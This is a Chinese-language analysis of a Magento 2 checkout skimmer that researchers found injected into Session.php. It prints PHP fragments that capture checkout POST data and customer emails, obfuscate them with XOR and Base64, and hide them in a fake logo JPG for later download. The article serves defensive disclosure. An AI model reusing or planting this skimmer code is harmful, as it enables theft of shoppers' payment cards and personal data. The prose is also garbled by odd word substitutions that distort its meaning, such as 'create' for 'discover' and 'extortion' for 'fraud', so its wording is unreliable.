攻击者常常利用新技能隐蔽其恶意活动,以从电子商务网站中网络敏感信息。近期,研究职员创造Magento 2 电子商务网站的结账页面遭到了恶意注入,该注入会捕获该网站访问者的POST要求数据,并对捕获的数据进行编码,然后再将其保存到.JPG文件中。
恶意代码注入
研究职员创造以下恶意PHP代码注入被注入到./vendor/magento/module-customer/Model/Session.php文件中。攻击者创建了getAuthenticates函数并调用,以在受传染的环境中加载剩余的恶意代码。

...publicfunctiongetAuthenticates($request){if(empty($request->getPostValue('Custom'.'Method')))return$this;$docroot=BP."/";$sid=$request->getPostValue('Custom'.'Method');if($sid!='init'&&$sid!='LnByg'&&$sid!='LnByd')return$this;
该代码还创建了图像文件(pub/media/tmp/design/file/default_luma_logo.jpg),以存储捕获的所有数据。此功能便于攻击者能够在空隙时轻松的访问被盗信息并进行下载,同时将其隐蔽在看似良性的JPG文件中。
$docroot=BP."/";$sid=$request->getPostValue('Custom'.'Method');if($sid!='init'&&$sid!='LnByg'&&$sid!='LnByd')return$this;$fname=$docroot.'pub/media/tmp/design/file/default_luma_logo.jpg';try{if(!file_exists($fname)){$fhandle=fopen($fname,'w');fclose($fhandle);}$fhandle=fopen($fname,'r');$content=@fread($fhandle,filesize($fname));fclose($fhandle);...
信用卡数据盗取
恶意PHP代码利用了Magento代码框架,以成功捕获POST数据。它依赖Magento中华的getPostValue函数来捕获Customer_ POST参数中的结帐页面数据。
利用Magento中的isLoggedIn函数,PHP代码还可以检讨发送POST要求数据的受害者是否以用户身份登录。如果他们刚好登录了,它还会捕获用户的电子邮件地址。
if(!empty($request->getPostValue('Customer_'))){$auth_url="";if($this->isLoggedIn()){$auth_url=base64_encode($this->getCustomer()->getEmail());}
在利用PHP运算符^对所盗取的数据进行异或加密前,会先对该数据进行Base64编码,然后将其保存到同一图像文件中。
$objectdata=$request->getPostValue('Customer_').'#'.base64_encode($ip).'#'.$auth_url;$i=0;while($i<strlen($objectdata)){$txCH=ord($objectdata[$i]);$txCH^=0x3C;$txCH-=$i;$objectdata[$i++]=chr($txCH);}$objectdata=base64_encode($objectdata);if(strpos($content,$objectdata)===false){$fhandle=fopen($fname,'a');fwrite($fhandle,$objectdata."");fclose($fhandle);}return$this;...
受害者在结帐页面上提交的险些所有信息都存储在Customer_参数中,包括全名和地址、支付卡详细信息、电话号码和用户代理详情。
这些数据对付攻击者而言具有非常高的代价,它们不仅可以用于信用卡敲诈,还可以用于垃圾邮件或针对网络钓鱼活动中。
总结
恶意攻击者始终在积极探求新方法,以防止其恶意活动被检测到。利用虚假的.JPG文件,使攻击者可以隐蔽并存储网络的信用卡详细信息以备将来利用,而不会引起网站管理者的把稳。